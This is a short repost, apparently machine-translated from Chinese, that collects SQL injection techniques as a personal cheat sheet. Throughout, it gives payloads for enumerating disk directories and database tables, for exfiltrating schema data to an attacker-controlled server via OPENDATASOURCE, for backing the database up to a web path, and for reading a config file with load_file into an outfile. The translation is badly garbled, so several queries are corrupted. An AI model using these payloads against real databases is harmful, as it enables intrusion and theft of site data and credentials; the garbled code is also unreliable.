Some Useful Techniques in SQL Injection [Personal Summary Simply]

zhaozj2021-02-16  65

1.a. Create Table Dirs (Dir Varchar (100), Dirid Int) Insert DIRS EXEC XP_DIRTREE 'Want to get the disk' 'Declare @dir varchar (500)

------- b. set @ Dir = '' SELECT @ DIR = @ Dir Dir ':' LTRIM (STR (STR)) '|' from Dirs where dir> @dir select 1 @ DIR

------ OR

Alter Table Dirs Add Num Int Id Id Id Id Idness Key

Select Top 1 Dir from (SELECT TOP [1,2,3 ...] Dir, Num from Dirs) T Order by Num DESC

c. Create Table Tmptable (Name Char (200), ID INT NOT NULL)

insert into opendatasource ( 'sqloledb', 'driver = {sql server}; server = yourip; network = sbmssocn; address = yourip, 1433; uid = guest; pwd =' '; database = master') master.dbo.tmptable. Select [name], [id] from sysobjects where xtype = 'u' -

Select * INTO [TMPCOLUMNS] from syscolumns where 1 = 2

insert into opendatasource ( 'sqloledb', 'driver = {sql server}; server = yourip; network = sbmssocn; address = yourip, 1433; uid = guest; pwd =' '; database = master') master.dbo.tmpcolumns. Select Name from syscolumns where id = 'the id of reference you wanna know'

Declare @a sysname; set @ a = db_name (); backup Database @a to disk = 'website absolute path'; - //, for example: E: /WEB /DOWN.BAK; - 2. SELECT TOP 1 NAME From (select top 2 name, id from sysobjects where xtype = 'u') T ORDER BY ID DESC SELECT TOP 2 Name, ID from sysobjects where xtype = 'u' SELECT DB_ID ('Master') Select DB_NAME (17)

Select col_name (Oject_ID ('You want to get the table name of the field), [1, 2, ..]) Select Current_user, user, user_name (), System_User Declare M scroll cursor for select name from sysobjects where xtype =' u ' Open m deallocate m fetch first from m3.http://www.itlearner.com/Work/hexsql.asp // a Not Bad link to encode Chars

http://whois.webhosting.info

4.Select Case 1 1 When 1 Then '1' else '0' end;

SELECT TOP 1 IIF (ASC (MID (UserName, 1, 1))> 96, 1, username) from admin> 0

SELECT IF (StrCMP ('Net0R', 'Netor1'), 'Not Netor', 'Is Netor';

SELECT 1,1,1,1,1, load_file (char (47,104,111,109,101,47,52,110,103,101,108,47,102,111,114,117,109,47,97,100,109,105,110,47,99,111,110,102,105,103,46,112,104,112)) FROM user WHERE userid = 1 into outfile 'c: / web / cfg. TXT'

转载请注明原文地址:https://www.9cbs.com/read-15797.html

New Post(0)